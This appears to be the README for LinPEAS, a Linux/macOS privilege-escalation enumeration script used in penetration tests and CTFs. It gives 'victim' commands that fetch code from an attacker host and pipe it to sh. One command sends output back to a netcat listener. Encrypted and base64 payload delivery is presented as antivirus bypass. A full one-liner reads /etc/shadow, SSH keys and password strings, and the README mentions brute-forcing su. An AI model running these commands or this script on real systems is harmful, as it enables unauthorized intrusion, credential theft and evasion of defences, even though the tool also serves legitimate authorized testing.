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LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts. The checks are explained on book.hacktricks.xyz
Check the Local Linux Privilege Escalation checklist from book.hacktricks.xyz.
Just execute linpeas.sh in a MacOS system and the MacPEAS version will be automatically executed
#From github
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
#Local network
sudo python -m SimpleHTTPServer 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim
#Without curl
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim
#Excute from memory and send output back to the host
nc -lvnp 9002 | tee linpeas.out #Host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
#Output to file
./linpeas.sh -a > /dev/shm/linpeas.txt #Victim
less -r /dev/shm/linpeas.txt #Read with colors
#open-ssl encryption
openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim
#Base64 encoded
base64 -w0 linpeas.sh > lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim
The goal of this script is to search for possible Privilege Escalation Paths (tested in Debian, CentOS, FreeBSD, OpenBSD and MacOS).
This script doesn't have any dependency.
It uses /bin/sh syntax, so can run in anything supporting sh (and the binaries and parameters used).
By default, linpeas won't write anything to disk and won't try to login as any other user using su.
By default linpeas takes around 4 mins to complete, but It could take from 5 to 10 minutes to execute all the checks using -a parameter (Recommended option for CTFs):
-a) - Notice that this check is super noisy-a) - Notice that this check will need to write some info inside a file that will be deletedOther parameters:
su with the top2000 passwords.sudo -l and bruteforcing other usersThis script has several lists included inside of it to be able to color the results in order to highlight PE vector.
LinPEAS also exports a new PATH variable during the execution if common folders aren't present in the original PATH variable.
With LinPEAS you can also discover hosts automatically using fping, ping and/or nc, and scan ports using nc.
LinPEAS will automatically search for this binaries in $PATH and let you know if any of them is available. In that case you can use LinPEAS to hosts dicovery and/or port scanning.
LinPEAS uses colors to indicate where does each section begin. But it also uses them the identify potencial misconfigurations.
The Red/Yellow
color is used for identifing configurations that lead to PE (99% sure).
The Red color is used for identifing suspicious configurations that could lead to PE:
The Green color is used for:
The Blue color is used for:
The Light Cyan color is used for:
The Light Magenta color is used for:
Here you have an old linpe version script in one line, just copy and paste it
The color filtering is not available in the one-liner (the lists are too big)
This one-liner is deprecated (I'm not going to update it any more), but it could be useful in some cases so it will remain here.
The default file where all the data is stored is: /tmp/linPE (you can change it at the beginning of the script)
file="/tmp/linPE";RED='\033[0;31m';Y='\033[0;33m';B='\033[0;34m';NC='\033[0m';rm -rf $file;echo "File: $file";echo "[+]Gathering system information...";printf $B"[*] "$RED"BASIC SYSTEM INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Operative system\n"$NC >> $file;(cat /proc/version || uname -a ) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"PATH\n"$NC >> $file;echo $PATH 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Date\n"$NC >> $file;date 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo version\n"$NC >> $file;sudo -V 2>/dev/null| grep "Sudo ver" >> $file;echo "" >> $file;printf $Y"[+] "$RED"selinux enabled?\n"$NC >> $file;sestatus 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Useful software?\n"$NC >> $file;which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Capabilities\n"$NC >> $file;getcap -r / 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Environment\n"$NC >> $file;(set || env) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Top and cleaned proccesses\n"$NC >> $file;ps aux 2>/dev/null | grep -v "\[" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Binary processes permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Services\n"$NC >> $file;(/usr/sbin/service --status-all || /sbin/chkconfig --list || /bin/rc-status) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Different processes executed during 1 min (HTB)\n"$NC >> $file;if [ "`ps -e --format cmd`" ]; then for i in {1..121}; do ps -e --format cmd >> $file.tmp1; sleep 0.5; done; sort $file.tmp1 | uniq | grep -v "\[" | sed '/^.\{500\}./d' >> $file; rm $file.tmp1; fi;echo "" >> $file;printf $Y"[+] "$RED"Proccesses binary permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Scheduled tasks\n"$NC >> $file;crontab -l 2>/dev/null >> $file;ls -al /etc/cron* 2>/dev/null >> $file;cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root /var/spool/anacron 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Any sd* disk in /dev?\n"$NC >> $file;ls /dev 2>/dev/null | grep -i "sd" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Storage information\n"$NC >> $file;df -h 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Unmounted file-system?\n"$NC >> $file;cat /etc/fstab 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Printer?\n"$NC >> $file;lpstat -a 2>/dev/null >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering network information...";printf $B"[*] "$RED"NETWORK INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Hostname, hosts and DNS\n"$NC >> $file;cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" >> $file;dnsdomainname 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Networks and neightbours\n"$NC >> $file;cat /etc/networks 2>/dev/null >> $file;(ifconfig || ip a) 2>/dev/null >> $file;iptables -L 2>/dev/null >> $file;ip n 2>/dev/null >> $file;route -n 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Ports\n"$NC >> $file;(netstat -punta || ss -t; ss -u) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Can I sniff with tcpdump?\n"$NC >> $file;timeout 1 tcpdump >> $file 2>&1;echo "" >> $file;echo "" >> $file;echo "[+]Gathering users information...";printf $B"[*] "$RED"USERS INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Me\n"$NC >> $file;(id || (whoami && groups)) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l without password\n"$NC >> $file;echo '' | sudo -S -l -k 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Do I have PGP keys?\n"$NC >> $file;gpg --list-keys 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Superusers\n"$NC >> $file;awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Login\n"$NC >> $file;w 2>/dev/null >> $file;last 2>/dev/null | tail >> $file;echo "" >> $file;printf $Y"[+] "$RED"Users with console\n"$NC >> $file;cat /etc/passwd 2>/dev/null | grep "sh$" >> $file;echo "" >> $file;printf $Y"[+] "$RED"All users\n"$NC >> $file;cat /etc/passwd 2>/dev/null | cut -d: -f1 >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering files information...";printf $B"[*] "$RED"INTERESTING FILES\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"SUID\n"$NC >> $file;find / -perm -4000 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"SGID\n"$NC >> $file;find / -perm -g=s -type f 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside \$HOME (limit 20)\n"$NC >> $file;ls -la $HOME 2>/dev/null | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"20 First files of /home\n"$NC >> $file;find /home -type f 2>/dev/null | column -t | grep -v -i "/"$USER | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside .ssh directory?\n"$NC >> $file;find /home /root -name .ssh 2>/dev/null -exec ls -laR {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"*sa_key* files\n"$NC >> $file;find / -type f -name "*sa_key*" -ls 2>/dev/null -exec ls -l {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"Mails?\n"$NC >> $file;ls -alh /var/mail/ /var/spool/mail/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"NFS exports?\n"$NC >> $file;cat /etc/exports 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Hashes inside /etc/passwd? Readable /etc/shadow or /etc/master.passwd?\n"$NC >> $file;grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null >> $file;cat /etc/shadow /etc/master.passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Readable /root?\n"$NC >> $file;ls -ahl /root/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Inside docker or lxc?\n"$NC >> $file;dockercontainer=`grep -i docker /proc/self/cgroup 2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null`;lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null`;if [ "$dockercontainer" ]; then echo "Looks like we're in a Docker container" >> $file; fi;if [ "$lxccontainer" ]; then echo "Looks like we're in a LXC container" >> $file; fi;echo "" >> $file;printf $Y"[+] "$RED"*_history, profile, bashrc, httpd.conf\n"$NC >> $file;find / -type f \( -name "*_history" -o -name "profile" -o -name "*bashrc" -o -name "httpd.conf" \) -exec ls -l {} \; 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"All hidden files (not in /sys/) (limit 100)\n"$NC >> $file;find / -type f -iname ".*" -ls 2>/dev/null | grep -v "/sys/" | head -n 100 >> $file;echo "" >> $file;printf $Y"[+] "$RED"What inside /tmp, /var/tmp, /var/backups\n"$NC >> $file;ls -a /tmp /var/tmp /var/backups 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Interesting writable Files\n"$NC >> $file;USER=`whoami`;HOME=/home/$USER;find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'| sort | uniq >> $file;for g in `groups`; do find / \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'; done >> $file;echo "" >> $file;printf $Y"[+] "$RED"Web files?(output limited)\n"$NC >> $file;ls -alhR /var/www/ 2>/dev/null | head >> $file;ls -alhR /srv/www/htdocs/ 2>/dev/null | head >> $file;ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head >> $file;ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head >> $file;echo "" >> $file;printf $Y"[+] "$RED"Backup files?\n"$NC >> $file;find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*back*" -o -name "*bck*" \) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find IPs inside logs\n"$NC >> $file;grep -a -R -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/ 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find 'password' or 'passw' string inside /home, /var/www, /var/log, /etc\n"$NC >> $file;grep -lRi "password\|passw" /home /var/www /var/log 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l (you need to puts the password and the result appear in console)\n"$NC >> $file;sudo -l;
System Information
Devices
Available Software
Processes, Cron, Services, Timers & Sockets
Network Information
Users Information
sudo -l without passwordsu as other users (using as passwords: null pass, username, reverse username, and top2000pwds)Software Information
Generic Interesting Files
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If you want to help with any of this, you can do it using github issues or you can submit a pull request.
If you find any issue, please report it using github issues.
Linpeas is being updated every time I find something that could be useful to escalate privileges.
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
MIT License
By Polop(TM)
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